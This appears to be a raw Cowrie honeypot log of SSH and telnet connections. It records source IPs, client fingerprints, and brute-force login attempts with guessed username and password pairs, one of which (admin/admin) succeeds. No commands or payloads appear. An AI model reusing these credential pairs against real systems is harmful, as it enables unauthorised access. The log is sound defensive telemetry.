{"eventid":"cowrie.login.failed","username":"root","password":"agix2024","message":"login attempt [root/agix2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:30.054558Z","src_ip":"108.179.220.174","session":"e4e62bc9a886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suzko","password":"123456","message":"login attempt [suzko/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:30.712869Z","src_ip":"159.65.58.200","session":"8ea40951cc73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:31.082629Z","src_ip":"108.179.220.174","session":"e4e62bc9a886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":59266,"dst_ip":"10.17.0.5","dst_port":22,"session":"83d735cca931","protocol":"ssh","message":"New connection: 162.240.20.137:59266 (10.17.0.5:22) [session: 83d735cca931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:31.486641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:31.500847Z","src_ip":"162.240.20.137","session":"83d735cca931","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:31.585109Z","src_ip":"162.240.20.137","session":"83d735cca931","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yearn","password":"yearn123","message":"login attempt [yearn/yearn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:31.833246Z","src_ip":"162.240.20.137","session":"83d735cca931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:32.107457Z","src_ip":"159.65.58.200","session":"8ea40951cc73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:32.917890Z","src_ip":"162.240.20.137","session":"83d735cca931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:38.118922Z","src_ip":"8.210.75.243","session":"0f6ce58687d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37016,"dst_ip":"10.17.0.5","dst_port":22,"session":"58da9480d266","protocol":"ssh","message":"New connection: 91.92.40.4:37016 (10.17.0.5:22) [session: 58da9480d266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:54.326595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:54.330360Z","src_ip":"91.92.40.4","session":"58da9480d266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:54.411417Z","src_ip":"91.92.40.4","session":"58da9480d266","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"passwd","message":"login attempt [hadoop/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:54.668001Z","src_ip":"91.92.40.4","session":"58da9480d266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.758769035339355,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:55.525776Z","src_ip":"69.6.249.0","session":"4a8e26be3bef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:55.752030Z","src_ip":"91.92.40.4","session":"58da9480d266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53902,"dst_ip":"159.203.135.109","dst_port":23,"session":"f30e5ec91f8a","protocol":"telnet","message":"New connection: 170.64.224.25:53902 (159.203.135.109:23) [session: f30e5ec91f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:31:56.852296Z"}
{"eventid":"cowrie.session.closed","duration":87.15461778640747,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:00.894149Z","src_ip":"94.23.66.112","session":"7646b9336418","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00260901451111,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:04.573349Z","src_ip":"170.64.224.25","session":"6c9d33752313","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44452,"dst_ip":"159.203.135.109","dst_port":23,"session":"8aedc250c708","protocol":"telnet","message":"New connection: 170.64.224.25:44452 (159.203.135.109:23) [session: 8aedc250c708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:11.026782Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:12.945381Z","src_ip":"8.210.75.243","session":"8a05feea0b38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.7.194","src_port":33116,"dst_ip":"159.203.135.109","dst_port":22,"session":"5511ebbbc074","protocol":"ssh","message":"New connection: 182.93.7.194:33116 (159.203.135.109:22) [session: 5511ebbbc074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:21.385470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:21.389742Z","src_ip":"182.93.7.194","session":"5511ebbbc074","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:21.607533Z","src_ip":"182.93.7.194","session":"5511ebbbc074","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tech","password":"tech123","message":"login attempt [tech/tech123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:22.501504Z","src_ip":"182.93.7.194","session":"5511ebbbc074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:23.717824Z","src_ip":"182.93.7.194","session":"5511ebbbc074","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:25.791527Z","src_ip":"8.210.75.243","session":"3a769d38fffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.32011938095093,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:30.172249Z","src_ip":"170.64.224.25","session":"f30e5ec91f8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:34.981060Z","src_ip":"147.45.211.215","session":"ac0d4b3f2459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.3.188","src_port":40112,"dst_ip":"159.203.135.109","dst_port":22,"session":"aeeb6c270dd3","protocol":"ssh","message":"New connection: 34.156.3.188:40112 (159.203.135.109:22) [session: aeeb6c270dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:49.143551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:49.223834Z","src_ip":"34.156.3.188","session":"aeeb6c270dd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.3.188","src_port":40116,"dst_ip":"159.203.135.109","dst_port":22,"session":"44011fce5fa8","protocol":"ssh","message":"New connection: 34.156.3.188:40116 (159.203.135.109:22) [session: 44011fce5fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:49.377203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:49.381966Z","src_ip":"34.156.3.188","session":"44011fce5fa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:49.464408Z","src_ip":"34.156.3.188","session":"44011fce5fa8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:50.522089Z","src_ip":"34.156.3.188","session":"44011fce5fa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:50.600747Z","src_ip":"34.156.3.188","session":"44011fce5fa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:50.603251Z","src_ip":"34.156.3.188","session":"aeeb6c270dd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:51.107615Z","src_ip":"34.156.3.188","session":"aeeb6c270dd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":41206,"dst_ip":"159.203.135.109","dst_port":22,"session":"7814c2794c7a","protocol":"ssh","message":"New connection: 103.82.132.16:41206 (159.203.135.109:22) [session: 7814c2794c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:57.697401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:57.700839Z","src_ip":"103.82.132.16","session":"7814c2794c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:57.951537Z","src_ip":"103.82.132.16","session":"7814c2794c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12031982","message":"login attempt [root/12031982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:58.708973Z","src_ip":"103.82.132.16","session":"7814c2794c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:32:59.962131Z","src_ip":"103.82.132.16","session":"7814c2794c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00105357170105,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:00.074353Z","src_ip":"94.23.66.112","session":"f7debe81a374","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.133.1","src_port":57764,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f2b893e7cec","protocol":"telnet","message":"New connection: 147.185.133.1:57764 (159.203.135.109:23) [session: 8f2b893e7cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:00.964095Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50180,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9f0cb759b6b","protocol":"telnet","message":"New connection: 170.64.224.25:50180 (159.203.135.109:23) [session: b9f0cb759b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:05.214842Z"}
{"eventid":"cowrie.session.closed","duration":9.890830516815186,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:10.854801Z","src_ip":"147.185.133.1","session":"8f2b893e7cec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.1198992729187,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:21.146541Z","src_ip":"170.64.224.25","session":"8aedc250c708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":35830,"dst_ip":"10.17.0.5","dst_port":22,"session":"07b6fc221d8e","protocol":"ssh","message":"New connection: 8.210.75.243:35830 (10.17.0.5:22) [session: 07b6fc221d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:30.063281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:30.066483Z","src_ip":"8.210.75.243","session":"07b6fc221d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.3.188","src_port":17430,"dst_ip":"159.203.135.109","dst_port":22,"session":"72766c1dd44b","protocol":"ssh","message":"New connection: 34.156.3.188:17430 (159.203.135.109:22) [session: 72766c1dd44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:33.992794Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:34.073058Z","src_ip":"34.156.3.188","session":"72766c1dd44b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.63815689086914,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:44.852899Z","src_ip":"170.64.224.25","session":"b9f0cb759b6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":35218,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd04b0129f73","protocol":"ssh","message":"New connection: 23.88.42.180:35218 (10.17.0.5:22) [session: bd04b0129f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:49.055183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:33:49.059264Z","src_ip":"23.88.42.180","session":"bd04b0129f73","protocol":"ssh"}
